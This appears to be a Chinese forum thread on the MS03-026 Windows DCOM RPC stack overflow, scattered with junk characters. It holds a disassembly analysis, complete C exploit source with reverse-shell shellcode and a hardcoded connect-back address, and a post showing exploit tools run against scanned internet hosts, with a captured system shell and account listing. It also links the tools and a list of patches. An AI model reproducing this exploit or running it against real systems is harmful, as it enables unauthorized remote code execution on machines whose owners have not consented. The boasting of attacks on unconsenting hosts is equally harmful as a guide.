LSD RPC 溢出漏洞之分析

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作者：FLASHSKY * \4 T* I2 M6 P: H作者单位：启明星辰积极防御实验室 WWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM 邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 0 E& S/ [, K, F) t感谢BENJURRY做测试，翻译和代码的通用化处理。 & G D0 J3 `% B% F$ L邮件：benjurry@xfocus.org , p9 v; ^8 \3 S3 O8 q LSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 导致问题的调用如下： hr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 6 \5 J6 M- Y' t4 _! \) ]这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： / i3 k) [0 z9 }7 R问题代码如下： GetPathForServer： - w N; v8 ^! @/ @: c. D- j* x( q.text:761543DA push ebp 4 U' t4 H$ W; I' \9 x# k8 x& p# y.text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 . f4 N* q) m/ u# l' @! p z1 s% R.text:761543E0 mov eax, [ebp+arg_4] $ s7 ^! h i8 L, |4 I" N.text:761543E3 push ebx ! P5 M7 T! z) c" w% H" L.text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi # i4 L4 i; ~$ u5 \9 L$ ]& h0 e.text:761543E9 push 5Ch 9 t3 ^/ ]0 i- A5 k$ q* x.text:761543EB pop ebx .text:761543EC mov [eax], esi " A2 e; e# n# j9 o/ s.text:761543EE cmp [esi], bx 2 i! j6 v) u( ~; v( B.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx .text:761543FD jnz loc_761544BF .text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName 。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 % e# x0 e2 F. ] GetMachineName: / D* u8 @9 _; G% m' V, K! z, o.text:7614DB6F mov eax, [ebp+arg_0] 9 d- T ?0 U& C z# l8 G2 l1 A.text:7614DB72 mov ecx, [ebp+arg_4] % E& y* a8 i1 d9 o1 J- C; E.text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C / P, O5 L! O" t" H. f( ~# B.text:7614DB80 jz short loc_7614DB93 .text:7614DB82 sub edx, ecx .text:7614DB84 .text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j .text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 .text:7614DB87 inc ecx .text:7614DB88 inc ecx .text:7614DB89 mov ax, [ecx+edx] .text:7614DB8D cmp ax, 5Ch 8 Q" O7 z2 g! K) u$ ?.text:7614DB91 jnz short loc_7614DB84 : C0 V* J# u% M M6 l.text:7614DB93 & o2 F' O& b; {! j9 A2 l: AOK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 下面就给出一个实现的代码，注意点如下： , C7 x- d4 [) d& S6 @/ o1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 0 r" }6 x5 v' h8 I( Z. ?需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 V; y: D) N, \% V; |+ V5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 , z7 R, o& B3 o* y& R#include ) f' F/ _* q& w% K+ Q#include 2 P2 _, n+ H" ^3 w5 v. X0 z/ N6 x#include #include #include #include & ]5 ~: }. k% V2 d; E unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; , Q( ?- m+ M1 k7 w+ T & ?! Q) a0 u' b; Q8 cunsigned char request1[]={ 6 J p% b7 X0 ?8 p' b0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 & b- @! P9 Y+ {. V' I,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 . ~! R/ U7 u: u8 U) N+ \. Y,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ( o* A, H8 }1 R1 I1 M,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E 0 S6 [* ?! m4 Z1 G' i,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D 2 ^ r0 `1 F$ M* }( x' n,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 5 F' S4 y; k5 i,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 + `# a) c Y4 E( s7 A# j2 W- v- L,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $ R9 a9 n: ]3 m( f3 z+ q,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 , Z% B# O# j C* c" N5 {,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ; T- S+ ~2 t: h6 Q0 g$ Y,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ; U, b* y6 i7 e5 a6 `) E* V* J4 f,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 % x1 U2 v4 {3 I5 F, M. w,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF * o4 m# M3 R- t* E! u& a/ R,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 f% P1 k7 o1 }- E: d/ W, a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' ~" G/ U$ l0 U,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 8 F: ^* m. ]8 A,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 . W X' o. M# k: N% L/ O,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ! y$ N$ [. p# Q- E, r& U; ^' b,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 0 G$ r: o3 h6 C# t9 \7 i6 _ T,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 2 X' D! S, b2 S7 q) K: Q,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 # }; F; v9 u- [' g$ Q( q,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 , r5 j$ D- z. @, d1 a/ f,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 % j5 g9 y0 D- N9 g, D, j( s,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ! P/ o, F* F# w" M9 L' c$ R,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 % u; J, U" Q0 V3 b" A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ( W/ y- r- @0 C( r& U" M2 ]7 _ |0 P,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' N3 ^2 c1 H# w8 K6 E,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 1 j8 Z% P1 v' }# X# ~ a,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 4 ^& s+ O( C1 g3 _: x$ T 5 }* ^6 @# D1 B4 b) W5 Hunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ( ~' h" f9 k5 o9 z,0x00,0x00,0x5C,0x00,0x5C,0x00}; ( f7 n" Q2 f6 a2 O2 S& Funsigned char request3[]={ 0x5C,0x00 ) n* Z# P3 p8 |7 ~,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 8 M9 q) r* L. i/ [/ o,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; 5 u8 ^; \9 I3 x/ J * _ r0 k" `6 A" g" W# Tunsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" "\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 9 k; Y' ~$ N4 K- i# U"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 8 J8 ^( g1 T" K4 K: D5 w5 D" @: m6 z2 G//下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 9 E. t) E8 v2 q- E- {//SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" $ f1 [4 Y" A- }4 y, N"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" "\x93\x40\xe2\xfa" // code . e$ L% F/ X4 V$ ~ L* ~/ z"\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" % A) o7 M" J, {1 `( [% t! G"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" + G ?- n' h; ?3 Y% H"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" 5 `4 L! Y( Y* k' R, J"\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" ' s' [9 n$ F% N G3 |"\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" . ~( w4 n6 I5 |% u) V"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" 4 ~9 ~3 \) P, r; I8 n; K& m2 `"\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" * M; k; t% l+ W& g+ T2 B ^/ M5 s"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" - q0 s) Y6 ]) R5 u1 |+ p7 n"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" & a- x7 X5 k- X0 N$ F"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" 2 U% {' b ?) V7 V8 `"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" ! q- Y$ E7 p8 m"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" 5 v% G& n) Z4 r2 L5 r- a6 A"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; ! |1 \+ Q# k+ f, d) X unsigned char request4[]={ 0x01,0x10 7 }9 A* a) e3 r8 C0 E3 F,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C $ S. z3 Z, G( `# y; v,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; ! U7 a. m( ?4 i5 h- R5 H5 T 1 |; K! [+ k" h' t! }6 m6 Hvoid main(int argc,char ** argv) { \- O9 t: k+ Y& z& O( A* tWSADATA WSAData; 8 ]! |. P9 ~+ o, K4 C' I9 A* NSOCKET sock; % I6 b4 m& D% d/ Bint len,len1; : J; O! G( [9 YSOCKADDR_IN addr_in; 2 D+ t; e* D3 ushort port=135; 1 i* I8 J7 d7 l' j4 yunsigned char buf1[0x1000]; 7 u! @& y& l: k1 ]% c: u$ ^unsigned char buf2[0x1000]; unsigned short port1; : K& h% j( i0 s9 x, m" C1 D( xDWORD cb; ' t' R6 I/ f2 j. a' m9 }, p7 H 6 P5 q, ?+ L4 P2 Z6 A) f- hif (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) & _4 t& v9 {$ }$ @& o{ printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; } 6 S+ s& w, J6 D" I- T E addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) . {1 F7 C3 U0 H' H- y! k6 L/ r{ printf("Socket failed.Error:%d\n",WSAGetLastError()); 5 d+ a/ g' E+ @; g4 d9 v+ k' _% Greturn; 2 g, d7 l2 m0 ~4 Y- K' b} 2 S; x$ u. G% v( U5 u& rif(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); 2 l E9 P! F& z1 b: K; x& f6 Oreturn; } ( u3 P+ E) a. @0 g" q3 Eport1 = htons (2300); //反向连接的端口 ; S! ^% A6 F( G2 V0 M$ Qport1 ^= 0x9393; [: n8 E# U0 b) ` `3 ~cb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， - O2 n" m3 a" s1 D, U4 Y3 Hcb ^= 0x93939393; : @1 f c& k9 s' Z( x*(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; " z2 V4 p2 U5 u, S+ {; a8 B Ulen=sizeof(sc); memcpy(buf2,request1,sizeof(request1)); ( b( U7 B: |5 Z, plen1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 T8 ?, G9 w' W; @( K# H*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 memcpy(buf2+len1,request2,sizeof(request2)); $ A; ?3 |7 D) k$ d' j: R xlen1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc)); len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); / Z( R' z. s8 e7 alen1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4)); , O, q5 ]4 \) Q. r& \& X3 ?' a& d- olen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; 1 p7 Z; ~0 x* D# _" n//计算各种结构的长度 ) [1 i7 S4 T- b8 O*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; . o4 }- e& O& @9 \/ _*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; ' m4 K0 S* \1 \/ _* Z! |6 N4 l*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; . u, [1 J7 J% K0 w; u*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; * x( w1 y; {- J3 k3 I/ |$ Eif (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { ! H! ^. n: o/ A( J! t. `/ K- y: d1 |: jprintf("Send failed.Error:%d\n",WSAGetLastError()); return; & r0 a9 J" x. `, X3 P$ n} ( o. F+ ]2 ]! Y* \ ' S% Z( T. Y1 ~. t/ y" ylen=recv(sock,buf1,1000,NULL); " ~; U( V" H. D: P8 rif (send(sock,buf2,len1,0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); 0 G+ Y$ Y1 B) b- {return; } len=recv(sock,buf1,1024,NULL); } : y" y4 ]4 s! b, R& \4 e* v补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： 7 M+ C- Q1 x0 K* n: a' ~* B5 D6 K. D由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: 7 A2 f, a* f: w P( Y3 c! q- 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) ( D7 k, v/ p( z: ]- 3 Windows 2000 SP3 (english) & ]$ Y6 X& n6 c3 l, S- 4 Windows 2000 SP4 (english) - 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) Usage: chdcom * p0 ^7 ^$ u, @cedcom针对以下版本: - 0 Windows 2000 SP0 (english) ' i& t9 W1 {, n, g0 ~: X; _0 m- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) 8 L' ]' ~8 T& q+ H2 {% m- 3 Windows 2000 SP3 (english) 6 ?- E8 R' _0 s' @- 4 Windows 2000 SP4 (english) 7 H1 R* _) K- D( E) a; Y$ }- 5 Windows XP SP0 (english) $ q; E4 J4 S8 h" A i9 J. I+ H6 U8 _# O- 6 Windows XP SP1 (english) ( I. R' ~, n5 l7 X/ MUsage: endcom cygwin1.dll应用程序扩展 溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 1 u3 |& q% Q2 Y2 H 比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 ! B, X! H' i) |" K3 }. k--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry - Rewritten by HDM last - last by nic ! `4 f+ h4 a9 x; x" z, Q9 Q-Compiled and recorrected by pingker! - Using return address of 0x77f92a9b ; f4 T0 ]. W& }7 Q5 ^- Dropping to System Shell... Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. 5 ` A6 J8 V% M( j% @* G. Z' ] C:\WINNT\system32> 成功溢出. C:\WINNT\system32>net user net user 5 |' K/ [4 f" n3 J6 Z / S8 N, v( r3 P* l. i8 w, U+ pUser accounts for \ 0 V, _# S+ u, e: g---------------------------------------------------------------------------- --- 2 b% a; [+ P8 ~( nAdministrator ASPNET billbishopcom divyanshu ebuyjunction edynamic1 edynamic2 Guest infinityaspnet ( P: g1 Q7 }. Y; J- j4 R0 sinfinityinformations IUSR_DIALTONE IUSR_NS1 IWAM_DIALTONE IWAM_NS1 SQLDebugger ( Y ]. ~/ r/ B3 O2 R+ u, ?8 aTsInternetUser WO & k% i! Y" ~1 ?$ O/ D1 ~" SThe command completed with one or more errors. 这样一来你想干什么就是你的事了. : v9 h6 N& V* m这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 ! T7 | Z2 a, |/ r g8 u7 w* \重启才行. CN可以是繁体或简体中文颁本. 再次警告:不要对付国内主机!!!!!后果自负!!!! XDcom.rar远程溢出攻击程序下载: & l- \* Q1 @ }' x9 ghttp://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
$ k& N0 Q/ }) mWindows NT 4.0 Server ：

http://microsoft.com/downloads/d ... &displaylang=en
8 {. O# y, d, [1 V# k; G' R
, Z6 o4 v9 h6 _6 f5 \Windows NT 4.0 Terminal Server Edition：
4 Z- u7 Y* D- O
" ^6 c; Q! l0 H3 g, F6 k3 T! r+ R/ Zhttp://microsoft.com/downloads/d ... &displaylang=en
5 f& s* A/ I$ o
Windows 2000：

7 g. V* M, ^( t5 @5 \" whttp://microsoft.com/downloads/d ... &displaylang=en
（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117
& {$ Y" G, [9 A7 x
Windows XP 32 bit Edition ：

http://microsoft.com/downloads/d ... &displaylang=en
+ ^7 ?! x" h6 c2 R
Windows XP 64 bit Edition：

http://microsoft.com/downloads/d ... &displaylang=en
8 ?4 p! W7 r4 h8 q3 Z- ^: W
